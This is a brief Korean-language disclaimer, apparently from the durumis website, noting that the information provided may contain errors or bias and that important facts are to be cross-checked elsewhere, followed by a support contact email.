따라서 제공되는 정보에 일부 오류나 편향이 있을 수 있으므로, 중요한 정보는 반드시 다른 출처를 통해 교차 검증하시기 바랍니다.

문의하기 : help@durumis.com